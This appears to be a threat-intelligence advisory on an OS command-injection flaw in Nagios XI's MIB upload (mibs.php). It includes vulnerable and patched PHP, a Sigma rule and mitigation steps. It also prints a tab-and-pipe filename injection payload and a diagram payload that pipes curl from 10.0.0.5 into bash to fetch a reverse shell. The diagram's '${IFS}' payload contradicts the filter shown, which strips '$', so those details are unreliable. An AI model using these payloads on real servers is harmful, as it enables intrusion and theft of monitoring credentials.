Skip to content

CVE-2026-119742: Nagios XI mibs.php install_mib OS Command Injection via Shell Grep & Incomplete Filter Bypass (VulnCheck Weaponized)

Density:
C-Level Executive Briefing CVE-2026-119742 CRITICAL SCORE 89/100

A weaponized operating system command injection vulnerability in the MIB installation component (mibs.php) of Nagios XI versions prior to 2026R2 grants arbitrary shell execution under the apache/nagios user account. Disclosed and cataloged as weaponized by VulnCheck on November 3-4, 2026, the vulnerability stems from an incomplete blacklist sanitizer that strips standard shell operators but neglects semicolon (;), pipe (|), and internal field separator (IFS) tab characters. When an uploaded MIB filename is processed by install_mib(), it is interpolated into an unquoted system grep execution string invoked via PHP exec(). Authenticated adversaries who obtain administrative credentials or exploit chained authentication bypasses can compromise the monitoring server, extracting SNMP community strings, cloud credentials, and network topologies. Hermes assigns a Hermes Threat Score (HTS) of 89.

HYBRID

HERMES THREAT SCORE & ENTERPRISE PERIMETER MONITORING INTEGRITY EVALUATION

Target: Nagios XI Web Administrative Console (mibs.php install_mib)
Confidence: 97%
89 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 19 / 20
Threat Activity 18 / 20
Weaponization 20 / 20
Exposure 18 / 20
Prevalence 16 / 20
Impact 20 / 20
Exploit Maturity 20 / 20
Attack Chain Potential 19 / 20
๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-119742: Nagios XI mibs.php install_mib OS Command Injection via Shell Grep & Incomplete Filter Bypass (VulnCheck Weaponized)VULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTNagios XI Enterprise Server & Network Monitoring
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Nagios XI Enterprise Server & Network Monitoring documented in Hermes dossier.”

Supporting Verified Evidence:

Nagios XI is one of the worldโ€™s most widely deployed enterprise infrastructure monitoring platforms, overseeing servers, network switches, cloud instances, and industrial controllers. To monitor hardware via the Simple Network Management Protocol (SNMP), administrators upload Management Information Base (MIB) files into the platform via the administrative web interface.

The file upload handling is governed by /usr/local/nagiosxi/html/admin/mibs.php. In versions prior to 2026R2, the install_mib() function processed uploaded file metadata to determine whether the submitted archive or text file represents a valid SNMP definition. To verify the MIB structure, the script invokes system command-line utilities via PHPโ€™s exec() function.

The vulnerability arises from an incomplete blacklist sanitization routine combined with unsafe shell execution (CWE-78). The developers attempted to strip common dangerous characters from $file["name"], but omitted several fundamental shell control characters and whitespace separators.

<?php
// Vulnerable Implementation: nagiosxi/html/admin/mibs.php (prior to 2026R2)
function install_mib() {
check_nagios_session_protector();
if (!is_admin()) {
die(_("You do not have access to this page."));
}
if (isset($_FILES['file'])) {
$file = $_FILES['file'];
$filename = $file['name'];
// FLAW: Incomplete blacklist substitution filter
// Strips spaces, ampersands, backticks, and dollar signs, but MISSES ';' and '|' and '\t'
$sanitized_name = str_replace(array(' ', '&', '`', '$', '<', '>', '(', ')'), '', $filename);
$target_dir = "/usr/share/snmp/mibs/";
$target_file = $target_dir . $sanitized_name;
if (move_uploaded_file($file['tmp_name'], $target_file)) {
// FLAW: Directly interpolated into shell string via exec()
// Without escapeshellarg() or escapeshellcmd()
$cmd = "grep -i 'DEFINITIONS ::= BEGIN' " . $target_file;
$output = array();
$return_var = 0;
// Subshell execution passes control to /bin/sh
exec($cmd, $output, $return_var);
if ($return_var === 0) {
flash_message(_("MIB file installed successfully."));
}
}
}
}
?>

Because spaces are removed by str_replace, conventional command injection payloads like ; id ; fail. However:

  1. Semicolons (;) and pipe symbols (|) are not in the replacement array.
  2. Shell internal field separators (IFS) accept tab characters (\t, hexadecimal 0x09) as valid token delimiters in POSIX /bin/sh and /bin/bash.
  3. An adversary crafts a multipart POST upload with the filename:
    test.mib\t|\tid\t;
  4. The resulting command executed by exec() becomes:
    Terminal window
    grep -i 'DEFINITIONS ::= BEGIN' /usr/share/snmp/mibs/test.mib | id ;
  5. The shell executes grep, pipes its output into id, and ignores subsequent syntax errors, executing arbitrary commands with the privileges of the web daemon (apache / nagios).

Nagios XI 2026R2 refactored install_mib() to enforce strict regex allowlisting and wrap all command parameters with escapeshellarg():

<?php
// Patched Implementation: nagiosxi/html/admin/mibs.php (2026R2)
function install_mib() {
check_nagios_session_protector();
if (!is_admin()) {
die(_("Access denied."));
}
if (isset($_FILES['file'])) {
$file = $_FILES['file'];
$raw_name = basename($file['name']);
// Strict POSIX allowlist: only alphanumeric, underscore, dot, and hyphen
if (!preg_match('/^[a-zA-Z0-9_\.\-]+$/', $raw_name)) {
flash_message(_("Invalid characters detected in filename."), FLASH_MSG_ERROR);
return;
}
$target_file = "/usr/share/snmp/mibs/" . $raw_name;
if (move_uploaded_file($file['tmp_name'], $target_file)) {
// Strictly escape argument before subshell invocation
$cmd = "grep -i 'DEFINITIONS ::= BEGIN' " . escapeshellarg($target_file);
exec($cmd, $output, $return_var);
}
}
}
?>
sequenceDiagram
autonumber
actor Attacker as Authenticated Attacker (Admin / Chained Auth Bypass)
participant UI as Nagios XI Web UI (/admin/mibs.php)
participant Engine as PHP Engine (exec)
participant Shell as /bin/sh System Shell
participant Host as Linux Monitoring Host (CentOS/RHEL)
Attacker->>UI: POST /admin/mibs.php (multipart/form-data)
Note over Attacker,UI: Filename: alert.mib\t|\tcurl${IFS}10.0.0.5/rev.sh|bash\t;
UI->>UI: install_mib() runs str_replace()
Note over UI: Tabs (\t) and Pipes (|) pass through unscrubbed!
UI->>Engine: exec("grep ... /usr/share/snmp/mibs/alert.mib\t|\tcurl...")
Engine->>Shell: Spawns /bin/sh -c "grep ... | curl ... | bash ;"
Shell->>Host: Fetches reverse shell and executes as 'apache' / 'nagios'
Host-->>Attacker: Interactive root / nagios shell established
Attacker->>Host: Siphons SNMP community strings & check configs

Sigma Rule: Detecting Suspicious Shell Metacharacters in Web Uploads

Section titled โ€œSigma Rule: Detecting Suspicious Shell Metacharacters in Web Uploadsโ€
title: Nagios XI MIB Upload OS Command Injection
id: 9a2b8e4f-5612-4d89-9132-723a10594201
status: experimental
description: Detects command injection attempts targeting Nagios XI mibs.php using tab separators and pipe operators in multipart filenames.
references:
- https://vulncheck.com/advisories/nagios-xi-2026r2-os-command-injection-via-mibs-php
author: Hermes Codex Cyber Threat Intelligence
date: 2026-11-04
logsource:
category: webserver
product: apache
detection:
selection_uri:
cs-method: 'POST'
cs-uri-stem|contains: '/admin/mibs.php'
selection_headers:
cs-content-type|contains: 'multipart/form-data'
condition: selection_uri and selection_headers
fields:
- c-ip
- cs-username
- cs-method
- cs-uri-stem
falsepositives:
- Legitimate administrative MIB uploads with non-standard naming conventions.
level: high
  1. Apply Vendor Patch: Immediately upgrade Nagios XI to version 2026R2 or higher via the Web UI (Admin -> Check for Updates) or CLI upgrade scripts (./upgrade).
  2. Restrict Access to Admin Console: Place the Nagios XI web interface behind a dedicated management VPN or bastion host. Restrict access to port 443 strictly to authorized SOC/NOC subnets.
  3. Audit Sudoers and User Permissions: Check /etc/sudoers.d/nagiosxi. Ensure that the nagios and apache accounts do not possess unrestricted passwordless sudo capabilities to prevent instant local privilege escalation from the web shell.
  4. Sanitize Existing MIB Directory: Remove untracked or anomalous files from /usr/share/snmp/mibs/.